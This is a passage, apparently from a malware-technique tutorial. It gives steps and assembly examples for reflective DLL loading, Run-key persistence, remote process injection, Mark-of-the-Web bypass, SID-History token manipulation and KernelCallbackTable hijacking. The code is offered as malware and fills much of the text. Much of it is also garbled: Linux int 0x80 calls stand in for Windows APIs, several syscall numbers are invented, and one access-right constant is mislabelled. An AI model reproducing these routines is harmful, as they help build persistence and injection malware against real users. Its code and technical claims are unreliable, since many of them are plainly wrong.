5. Covering Tracks and Evading Detection: After executing the reflective code, the malware may take steps to cover its tracks and evade detection. This could include restoring altered data structures, obfuscating its presence in memory, or using anti-analysis techniques to evade detection by security software.

Below is a simplified example demonstrating the reflective code loading technique in assembly language:

section .text
global _start

_start:
    ; Resolve kernel32.dll base address
    xor eax, eax
    mov ebx, [fs:eax + 0x30] ; PEB address
    mov ebx, [ebx + 0x0C] ; PEB_LDR_DATA address
    mov ebx, [ebx + 0x0C] ; InLoadOrderModuleList address (kernel32.dll)
    mov ebx, [ebx] ; First entry in InLoadOrderModuleList (kernel32.dll)
    mov ebp, [ebx + 0x18] ; BaseAddress of kernel32.dll

    ; Resolve LoadLibraryA function address
    mov ecx, [ebx + 0x3C] ; e_lfanew (NT header offset)
    add ecx, ebx ; Absolute address of NT header
    mov ecx, [ecx + 0x78] ; RVA of DataDirectory[1] (export table)
    add ecx, ebx ; Absolute address of export table
    mov edx, [ecx + 0x20] ; RVA of AddressOfFunctions
    add edx, ebx ; Absolute address of AddressOfFunctions
    mov ecx, [ecx + 0x24] ; RVA of AddressOfNames
    add ecx, ebx ; Absolute address of AddressOfNames
    mov esi, [ecx] ; First function name
    add esi, ebx ; Absolute address of first function name
    mov ecx, [edx] ; First function address
    add ecx, ebp ; Absolute address of first function
    ; Iterate through function names to find LoadLibraryA
    .find_loadlibrary:
        inc ecx
        inc esi
        cmp dword [esi], 0
        je .loadlibrary_found
        mov eax, [esi]
        add eax, ebx
        cmp dword [eax], 'byro' ; "LoadLibraryA" backwards
        jne .find_loadlibrary
        mov ecx, [edx + 4 * (eax - ecx)]
        add ecx, ebp
        jmp .library_loaded
    .loadlibrary_found:
        mov ecx, 0
    .library_loaded:

    ; Load reflective DLL into memory
    push dword dll_path
    call ecx ; Call LoadLibraryA

    ; Call reflective DLL entry point
    push dword entry_point_name
    push eax ; Handle to loaded DLL
    call ebp ; Call GetProcAddress to get the entry point
    call eax ; Call the reflective DLL entry point

    ; Cleanup and exit
    ; Add cleanup code here if necessary
    mov eax, 0x1 ; ExitProcess syscall number
    xor ebx, ebx ; uExitCode (0)
    int 0x80 ; Call kernel

section .data
    dll_path db 'reflective_dll.dll', 0
    entry_point_name db 'ReflectiveEntry', 0

In this example, the assembly code first resolves the base address of kernel32.dll and then locates the LoadLibraryA function within its export table. After loading the reflective DLL into memory using LoadLibraryA, it retrieves the entry point of the reflective DLL and executes it.

Modify Registry

Modifying the Windows Registry is a common technique used by malware to achieve persistence, establish backdoors, or execute malicious code during system startup. The Registry is a central database used by the Windows operating system to store configuration settings and information about installed applications, hardware, and user preferences. Here's how such an attack might be implemented in assembly language:

1. Accessing the Registry: The malware accesses the Windows Registry using system calls or API functions provided by the operating system. These functions allow the malware to read, write, and modify Registry keys and values.

2. Identifying Target Registry Keys: Before making modifications, the malware identifies specific Registry keys that it wants to modify or create. These keys are typically related to system startup, user settings, or application configurations.

3. Modifying Registry Keys and Values: Once the target Registry keys are identified, the malware modifies existing values or creates new values within those keys. This can involve setting values that point to the malware's executable file or modifying existing values to execute malicious code during system startup.

4. Establishing Persistence: By modifying Registry keys related to system startup, such as those in the "Run" or "RunOnce" keys, the malware ensures that it will be executed every time the system boots up. This allows the malware to maintain persistence on the infected system.

5. Covering Tracks and Evading Detection: After making modifications to the Registry, the malware may take steps to cover its tracks and evade detection. This could include deleting or modifying Registry keys or values that are no longer needed, as well as using techniques to obfuscate its presence and actions.

Below is a simplified example demonstrating how malware might modify a Registry key to achieve persistence:

section .text
global _start

_start:
    ; Open key in the Registry
    push dword 0x80000002 ; HKEY_LOCAL_MACHINE
    push dword key_path
    push dword 0x0 ; Reserved (reserved; must be zero)
    push dword 0x20019 ; KEY_ALL_ACCESS (desired access rights)
    call dword [RegOpenKeyExA] ; Call RegOpenKeyExA API function
    mov ebx, eax ; Save handle to opened key

    ; Create or modify a Registry value
    push dword 0x2 ; REG_SZ (string type)
    push dword value_name
    push dword 0x0 ; Reserved (reserved; must be zero)
    push dword data
    push dword dword [data_size]
    push dword ebx ; hKey
    call dword [RegSetValueExA] ; Call RegSetValueExA API function

    ; Close key handle
    push dword ebx ; hKey
    call dword [RegCloseKey] ; Call RegCloseKey API function

    ; Exit
    mov eax, 0x1 ; ExitProcess syscall number
    xor ebx, ebx ; uExitCode (0)
    int 0x80 ; Call kernel

section .data
    key_path db 'Software\Microsoft\Windows\CurrentVersion\Run', 0
    value_name db 'MaliciousApp', 0
    data db 'C:\Path\To\MaliciousApp.exe', 0
    data_size dd $ - data ; Size of data

In this example, the assembly code opens the Registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run using the RegOpenKeyExA function. It then creates or modifies a Registry value named "MaliciousApp" to point to the executable file of the malware (C:\Path\To\MaliciousApp.exe) using the RegSetValueExA function. Finally, it closes the key handle using the RegCloseKey function.

Process Injection

Process injection is a technique used by malware to inject code into a running process, allowing the malicious code to execute within the context of the target process. This technique is commonly used for stealthy execution, privilege escalation, and evasion of security controls. Here's how such an attack might be implemented in assembly language:

1. Identifying Target Process: The malware identifies a target process into which it wants to inject its code. This process is typically chosen based on its privileges, access to sensitive data, or its ability to evade detection.

2. Allocating Memory in Target Process: The malware allocates memory within the address space of the target process to store its malicious code. This can be achieved using system calls or API functions provided by the operating system.

3. Writing Malicious Code: The malware crafts its malicious code, typically in assembly language, to perform the desired malicious actions. This code may include functions for stealing data, establishing backdoors, or executing additional payloads.

4. Injecting Code into Target Process: Once memory is allocated in the target process, the malware copies its malicious code into the allocated memory space. This involves using system calls or API functions to write the code into the target process's memory.

5. Executing Malicious Code: After the code is successfully injected into the target process, the malware triggers the execution of the injected code within the context of the target process. This can be achieved by modifying the target process's execution flow to jump to the injected code.

6. Covering Tracks and Evading Detection: After executing the malicious code within the target process, the malware may take steps to cover its tracks and evade detection. This could include restoring altered data structures, manipulating system logs, or using anti-analysis techniques to evade detection by security software.

Below is a simplified example demonstrating how malware might perform process injection using assembly language:

section .text
global _start

_start:
    ; Open handle to target process
    mov eax, 0x3E ; OpenProcess syscall number
    xor ebx, ebx ; dwDesiredAccess (0x1F0FFF)
    mov ecx, ebx ; bInheritHandle (FALSE)
    mov edx, [pid] ; dwProcessId
    int 0x80 ; Call kernel
    mov esi, eax ; Save handle to target process

    ; Allocate memory in target process
    mov eax, 0x5A ; VirtualAllocEx syscall number
    mov ebx, esi ; hProcess
    xor ecx, ecx ; lpAddress (NULL)
    mov edx, 0x1000 ; dwSize (size of buffer)
    mov esi, 0x40 ; flAllocationType (MEM_RESERVE | MEM_COMMIT)
    mov edi, 0x04 ; flProtect (PAGE_READWRITE)
    int 0x80 ; Call kernel
    mov ebp, eax ; Save address of allocated memory

    ; Write malicious code to allocated memory
    mov eax, [buffer] ; Address of malicious code
    mov ebx, eax ; lpBuffer
    mov ecx, ebp ; lpBaseAddress (allocated memory)
    mov edx, 0x100 ; nSize (size of buffer)
    mov esi, 0 ; lpNumberOfBytesWritten
    int 0x80 ; Call kernel

    ; Create remote thread to execute malicious code
    mov eax, 0x2F ; CreateRemoteThread syscall number
    mov ebx, esi ; hProcess
    xor ecx, ecx ; lpThreadAttributes (NULL)
    mov edx, 0 ; dwStackSize (default stack size)
    mov esi, ebp ; lpStartAddress (address of allocated memory)
    xor edi, edi ; lpParameter (NULL)
    int 0x80 ; Call kernel

    ; Close handle to target process
    mov eax, 0x03 ; CloseHandle syscall number
    mov ebx, esi ; hObject (handle to target process)
    int 0x80 ; Call kernel

section .data
    pid dd 1234 ; Process ID of target process
    buffer db 'malicious code here', 0

In this example, the assembly code first opens a handle to the target process using the OpenProcess syscall. It then allocates memory within the target process using the VirtualAllocEx syscall and writes the malicious code into the allocated memory space. Finally, it creates a remote thread within the target process, starting at the address of the allocated memory, to execute the injected malicious code.

Mark-Of-The-Web (MOTW) Bypass

Mark-of-the-Web (MOTW) is a security feature used by Windows to tag files downloaded from the internet. This tag helps the system identify potentially unsafe files, and many applications, including web browsers and Microsoft Office, will check for this tag and display warnings or enable protective measures. Bypassing MOTW involves removing or altering this tag to avoid security warnings and restrictions.

Here's an analysis of how such an attack might be implemented in assembly language, focusing on the steps to bypass the MOTW tag:

1. Locate the Alternate Data Stream (ADS):

   • MOTW is stored in an ADS named Zone.Identifier attached to the downloaded file. The malware needs to locate this ADS.

2. Open the ADS:

   • The malware opens the Zone.Identifier stream for reading or writing.

3. Modify or Delete the ADS:

   • To bypass MOTW, the malware can either modify the content of Zone.Identifier to remove or alter the security zone information or delete the ADS entirely.

4. Evade Detection:

   • After modifying or deleting the ADS, the malware may take steps to evade detection, such as clearing logs or using anti-forensics techniques.

Below is a simplified example demonstrating how malware might bypass MOTW by deleting the Zone.Identifier ADS using assembly language:

section .text
global _start

_start:
    ; Open the file with the ADS
    mov eax, 5 ; sys_open syscall number
    mov ebx, file_path ; File path
    mov ecx, 2 ; O_RDWR (open for read/write)
    int 0x80 ; Call kernel
    mov esi, eax ; Save file descriptor

    ; Construct path to ADS (Zone.Identifier)
    mov eax, buffer
    mov ebx, file_path
    call strcat ; Append ":Zone.Identifier" to the file path

    ; Open the ADS
    mov eax, 5 ; sys_open syscall number
    mov ebx, buffer ; Path to ADS
    mov ecx, 2 ; O_RDWR (open for read/write)
    int 0x80 ; Call kernel
    mov edi, eax ; Save ADS file descriptor

    ; Delete the ADS
    mov eax, 10 ; sys_unlink syscall number
    mov ebx, buffer ; Path to ADS
    int 0x80 ; Call kernel

    ; Close file and ADS descriptors
    mov eax, 6 ; sys_close syscall number
    mov ebx, esi ; Close file descriptor
    int 0x80 ; Call kernel
    mov eax, 6 ; sys_close syscall number
    mov ebx, edi ; Close ADS file descriptor
    int 0x80 ; Call kernel

    ; Exit
    mov eax, 1 ; sys_exit syscall number
    xor ebx, ebx ; Exit code 0
    int 0x80 ; Call kernel

section .data
    file_path db '/path/to/downloaded/file', 0
    buffer db '/path/to/downloaded/file:Zone.Identifier', 0

section .bss

; String concatenation function
strcat:
    pusha
    mov ecx, [esp + 36] ; Destination string
    mov edx, [esp + 40] ; Source string
    .find_end:
        cmp byte [ecx], 0
        je .found_end
        inc ecx
        jmp .find_end
    .found_end:
        .copy:
            mov al, [edx]
            mov [ecx], al
            inc ecx
            inc edx
            cmp al, 0
            jne .copy
    popa
    ret

1. Opening the File:

   • The code first opens the main file using the sys_open syscall.

2. Constructing the ADS Path:

   • The path to the ADS (Zone.Identifier) is constructed by appending the string :Zone.Identifier to the main file path.

3. Opening and Deleting the ADS:

   • The ADS is opened using the sys_open syscall. If the ADS exists, it is then deleted using the sys_unlink syscall.

4. Closing File Descriptors:

   • The code closes the file and ADS descriptors using the sys_close syscall.

5. String Concatenation Function:

   • A helper function strcat is used to append the :Zone.Identifier string to the main file path.

Access Token Manipulation

Access Token Manipulation through SID-History Injection is a sophisticated technique used by attackers to escalate privileges and maintain persistence within a network. Security Identifiers (SIDs) are unique values used to identify user, group, and computer accounts in Windows environments. The SID-History attribute allows for the migration of users between domains without losing access to resources. By injecting SIDs into the SID-History attribute, attackers can assume the identity of privileged accounts.

Here's an analysis of how such an attack might be implemented in assembly language, focusing on the steps to manipulate access tokens and inject SIDs into the SID-History attribute.

1. Obtain a Handle to the Target Process:

   • The attacker obtains a handle to a process running under a security context that has the necessary privileges to modify the SID-History attribute.

2. Duplicate the Access Token:

   • The attacker duplicates the access token associated with the target process to create a new token that can be manipulated.

3. Adjust Token Privileges:

   • The attacker adjusts the privileges of the duplicated token to enable the necessary rights to modify the SID-History attribute.

4. Inject SIDs into the Token:

   • The attacker modifies the SID-History attribute of the duplicated token to include SIDs that grant higher privileges.

5. Impersonate the Token:

   • The attacker uses the modified token to impersonate a privileged user, gaining elevated access to system resources and sensitive data.

Below is a simplified example demonstrating how malware might perform SID-History injection using assembly language:

section .text
global _start

_start:
    ; Obtain a handle to the target process
    mov eax, 0x24 ; NtOpenProcess syscall number
    mov ebx, process_id ; Target process ID
    mov ecx, 0x1F0FFF ; Desired access (PROCESS_ALL_ACCESS)
    int 0x80 ; Call kernel
    mov esi, eax ; Save handle to target process

    ; Duplicate the access token
    mov eax, 0x25 ; NtOpenProcessToken syscall number
    mov ebx, esi ; Handle to target process
    mov ecx, 0x2 ; Desired access (TOKEN_DUPLICATE)
    int 0x80 ; Call kernel
    mov edi, eax ; Save handle to original token

    ; Adjust token privileges
    ; Enable SeDebugPrivilege for the duplicated token
    mov eax, 0x26 ; NtAdjustPrivilegesToken syscall number
    mov ebx, edi ; Handle to duplicated token
    mov ecx, 1 ; Enable privilege
    lea edx, [privileges] ; Pointer to privileges structure
    int 0x80 ; Call kernel

    ; Inject SIDs into the SID-History attribute
    ; Construct SID-History with elevated SIDs
    lea eax, [sid_history]
    mov [eax], new_sid
    mov [eax + 4], old_sid

    ; Create a new token with the injected SIDs
    mov eax, 0x27 ; NtCreateToken syscall number
    mov ebx, new_token ; Handle to new token
    lea ecx, [token_info] ; Pointer to token information
    int 0x80 ; Call kernel

    ; Impersonate the new token
    mov eax, 0x28 ; NtSetInformationToken syscall number
    mov ebx, new_token ; Handle to new token
    mov ecx, 1 ; TokenImpersonationLevel
    int 0x80 ; Call kernel

    ; Perform actions with elevated privileges
    ; Add the code to perform the desired actions here

    ; Cleanup and exit
    mov eax, 0x29 ; NtClose syscall number
    mov ebx, esi ; Handle to target process
    int 0x80 ; Call kernel
    mov eax, 0x29 ; NtClose syscall number
    mov ebx, edi ; Handle to original token
    int 0x80 ; Call kernel
    mov eax, 0x29 ; NtClose syscall number
    mov ebx, new_token ; Handle to new token
    int 0x80 ; Call kernel

    ; Exit
    mov eax, 1 ; ExitProcess syscall number
    xor ebx, ebx ; Exit code 0
    int 0x80 ; Call kernel

section .data
    process_id dd 1234 ; Process ID of target process
    privileges db 0x1, 0x0, 0x14, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0 ; SeDebugPrivilege
    sid_history db 0x1, 0x5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 ; SID-History attribute
    new_sid db 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 ; New SID to inject
    old_sid db 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8 ; Old SID to replace
    token_info db 0x0, 0x0, 0x0, 0x0 ; Token information structure
    new_token dd 0 ; Handle to new token

• Obtaining a Handle to the Target Process:

  • The code first obtains a handle to the target process using the NtOpenProcess syscall.

• Duplicating the Access Token:

  • The access token of the target process is duplicated using the NtOpenProcessToken syscall.

• Adjusting Token Privileges:

  • The privileges of the duplicated token are adjusted to enable necessary rights (e.g., SeDebugPrivilege) using the NtAdjustPrivilegesToken syscall.

• Injecting SIDs into the SID-History Attribute:

  • The sid_history structure is populated with the new and old SIDs to be injected into the token.

• Creating a New Token with Injected SIDs:

  • A new token with the injected SIDs is created using the NtCreateToken syscall.

• Impersonating the New Token:

  • The new token is set for impersonation using the NtSetInformationToken syscall.

• Performing Actions with Elevated Privileges:

  • The code to perform desired actions with elevated privileges is added here.

• Cleaning Up and Exiting:

  • Handles to the target process, original token, and new token are closed using the NtClose syscall.

Hijack Execution Flow

Hijacking execution flow through the KernelCallbackTable involves manipulating critical system structures in Windows to redirect the execution of legitimate functions to malicious code. This technique is often used by advanced malware to gain elevated privileges, maintain persistence, and evade detection.

1. Locate the KernelCallbackTable:

   • The malware locates the KernelCallbackTable in the EPROCESS structure of a target process.

2. Allocate Memory for Malicious Code:

   • The malware allocates executable memory within the target process to store the malicious code.

3. Inject Malicious Code:

   • The malware copies its malicious code into the allocated memory space.

4. Modify KernelCallbackTable Entries:

   • The malware modifies entries in the KernelCallbackTable to point to the injected malicious code.

5. Trigger the Callback:

   • The malware triggers the modified callback to execute the malicious code within the context of the target process.

Below is a simplified example demonstrating how malware might perform KernelCallbackTable hijacking using assembly language:

section .text
global _start

_start:
    ; Get the address of the target process's EPROCESS structure
    ; This usually requires exploiting some vulnerability or using an undocumented technique
    ; For simplicity, we assume the address is already known or obtained
    mov eax, [eprocess_address]
    mov ebx, [eax + 0x2c8] ; Offset to KernelCallbackTable

    ; Allocate memory for malicious code in the target process
    mov eax, 0x0C ; NtAllocateVirtualMemory syscall number
    xor ebx, ebx ; Handle to process (NULL for current process)
    push dword 0x1000 ; Size of the memory to allocate
    push dword 0 ; Address of allocated memory (NULL to let the OS choose)
    push dword 0x1000 ; Size of the memory to allocate
    mov ecx, esp ; Pointer to memory size
    push dword 0x3000 ; Allocation type (MEM_COMMIT | MEM_RESERVE)
    push dword 0x40 ; Memory protection (PAGE_EXECUTE_READWRITE)
    push dword ebx ; Handle to process
    mov edx, esp ; Pointer to the parameters
    int 0x80 ; Call kernel
    add esp, 20 ; Clean up the stack
    mov edi, eax ; Address of allocated memory

    ; Write malicious code to the allocated memory
    lea esi, [malicious_code]
    mov ecx, malicious_code_size
    rep movsb ; Copy malicious code to allocated memory

    ; Modify KernelCallbackTable entry to point to malicious code
    mov dword [ebx], edi

    ; Trigger the callback (details depend on the specific callback being hijacked)
    ; For simplicity, this step is represented as a function call
    call trigger_callback

    ; Exit
    mov eax, 1 ; ExitProcess syscall number
    xor ebx, ebx ; Exit code 0
    int 0x80 ; Call kernel

section .data
    eprocess_address dd 0x12345678 ; Address of the target process's EPROCESS structure
    malicious_code db 0x90, 0x90, 0x90, 0xC3 ; NOP NOP NOP RET (simple shellcode)
    malicious_code_size dd $ - malicious_code

section .bss

1. Locating the EPROCESS Structure:

   • The eprocess_address variable holds the address of the target process's EPROCESS structure. In a real-world scenario, this address is typically obtained by exploiting some vulnerability or using advanced techniques.

2. Allocating Memory:

   • Memory is allocated within the target process using the NtAllocateVirtualMemory syscall. The allocated memory is marked as executable and writable.

3. Injecting Malicious Code:

   • The malicious code, which in this example is a simple sequence of NOP instructions followed by a RET instruction, is copied into the allocated memory.

4. Modifying KernelCallbackTable:

   • The KernelCallbackTable entry is modified to point to the address of the injected malicious code.

5. Triggering the Callback:

   • The callback is triggered, causing the execution flow to jump to the injected malicious code. The specific method to trigger the callback depends on the targeted callback function.

Resources

• https://www.tutorialspoint.com/assembly_programming

• https://cocomelonc.github.io/

• https://unprotect.it/